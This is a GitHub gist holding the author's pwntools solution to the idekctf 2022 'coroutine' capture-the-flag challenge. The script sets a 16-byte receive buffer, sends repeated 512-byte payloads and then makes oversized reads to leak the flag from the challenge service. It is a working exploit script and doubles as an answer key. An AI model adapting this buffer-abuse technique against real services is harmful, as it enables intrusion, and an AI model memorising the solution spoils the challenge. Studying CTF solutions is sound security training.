Skip to content

Instantly share code, notes, and snippets.

@reductor
Created January 15, 2023 22:20
Show Gist options
  • Save reductor/1539f013735c7c67c199d844783d9d09 to your computer and use it in GitHub Desktop.
Save reductor/1539f013735c7c67c199d844783d9d09 to your computer and use it in GitHub Desktop.
idekctf 2022 - coroutine (author solution)
from pwn import *
HOST = args.HOST or 'localh1ost'
PORT = args.PORT or 123451
conn = remote(HOST, PORT)
# Set receive buffer to 16
conn.sendlineafter(b'> ', b'2')
conn.sendlineafter(b'Buffer size> ', b'16')
# Connect
conn.sendlineafter(b'> ', b'1')
# Send 8 * 512
for _ in range(8):
# Send 'A' * 512
conn.sendlineafter(b'> ', b'4')
conn.sendlineafter(b'Data> ', b'A' * 512)
# Recv 3 * 10240
for _ in range(3):
conn.sendlineafter(b'> ', b'5')
conn.sendlineafter(b'Size> ', b'10240')
conn.recvuntil(b'Select Option:')
conn.sendlineafter(b'> ', b'5')
conn.sendlineafter(b'Size> ', b'10240')
conn.recvuntil(b'idek{')
print(b'idek{'+conn.recvuntil(b'}'))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment